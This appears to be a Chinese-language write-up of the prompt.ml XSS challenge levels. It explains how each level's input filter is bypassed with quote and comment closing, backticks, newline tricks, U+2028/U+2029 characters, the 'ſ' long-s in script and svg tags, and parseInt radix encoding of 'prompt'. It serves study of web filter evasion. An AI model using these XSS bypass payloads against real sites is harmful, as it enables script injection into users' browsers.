目录
需要将前面的双引号进行闭合后再写JS代码
因为这个题对<>/等有过滤,所以我们不闭合标签
过滤=()等特殊符号,使用反引号+编码双括号
将输入的内容传递到注释符中,需要先闭合注释符再写JS代码
在这一关需要写入数据的格式是http://开头的才行,刚开始写http://prompt.ml/@127.0.0.1/test.js时没有成功,后面测试后发现是因为/需要编码一下
这一关需要我们将前面的双引号绕过,由于对on...=有限制,所以使用换行绕过
我们先看一下这一关的要求:
var segments = input.split('#'); #通过#将字符串分割
var formURL = segments[0]; #将输入的URL取出来
var formData = JSON.parse(segments[1]); #将 {"name":"Matt"}转成JS的对象
var form = document.createElement('form'); #创建一个form元素/form表单
form.action = formURL; #form提交给URL
form.method = 'post'; #方法使用post
for (var i in formData) { #将formData对象进行循环
var input = form.appendChild(document.createElement('input'));
input.name = i; #相当于将key循环出来后将key赋值给(name)
input.setAttribute('value', formData[i]); #将value作为Matt
if (!/script:|data:/i.test(document.forms[0].action)) #i函数表示忽略大小写,且数据中不包含script和data才能最终进行提交操作
form表单中提交JavaScript弹窗函数点提交会直接生效,在submit提交按钮时,如果一个表单中有两个action,后面的action值会取代/覆盖前面的action值,但是提交会提交第一个action值,在第一个action值中加上JS代码可以绕过正则表达式。
限制长度为12个字符,传递的值如果有#号都会被分割。
字符限制如何处理:使用注释符/* */,将中间的字符串注释,将有长度的限制语句/没有用的代码注释掉。
过滤了符号 \r\n" ,做这一关时我们需要了解到JS中的特殊字符
JavaScript规定有5个字符,不能在字符串里面直接使用,只能使用转义形式。
举例来说,字符串里面不能直接包含反斜杠,一定要转义写成\\或者\u005c 。
JSON格式已经冻结(RFC 7159),没法修改了。为了消除这个报错,ES2019允许JavaScript字符串直接输入U+2028(行分隔符)和U+2029(段分隔符)。
注意,模板字符串现在就允许直接输入这两个字符。另外,正则表达式依然不允许直接输入这两个字符,这是没有问题的,因为JSON本来就不允许直接包含正则表达式。
我们只需要将\u2028prompt(1)\u2029-->执行后写入进去就可以了
这一关是将输入的数字进行了大写,我们可以用<ſcript src="http://127.0.0.1/test.js">ſcript>试一下。
或使用 <ſvg/οnlοad=prompt(1)> 方式
从题目中input = encodeURIComponent(input).replace(/prompt/g, 'alert');可以看出我们的prompt被转成了alert,这样编码也无法使用,但是 input = input.replace(/'/g, '');中可以得到题中将单引号变成空,我们可以在prompt中加入单引号。
在js中,(prompt(1))instaneof"1"和(prompt(1))in"1"是可以成功弹窗的,其中双引号里面的1可以是任何字符,这里的in或者instanceof是运算符,所以可以有这样的语法结构。
这一题与0A相似,但是被encode URL编码,所以不能使用编码。JS中有parseInt函数能将字符串转化成一串数字,并且使用..toString()可以转回来,
parselnt(string, radix)解析一个字符串并返回指定基数的十进制整数,基数是2-36之间的整数,表示被解析字符串的基数。如果第一个字符不能转化成数字,当转成NAN,radix最大只能写到36,最小为2,36由0-9+a-z组成的。
prompt选择范围:p开头 p=0-9+a-p=26,
t结尾 t=0-9+a-t=30,所以我们选择基数时最小要选择30,或者大于30的数字
input = input.replace(/\*/g, ''); #过滤的符号*,所以我们用,所以svg标签中支持这样的注释符。
">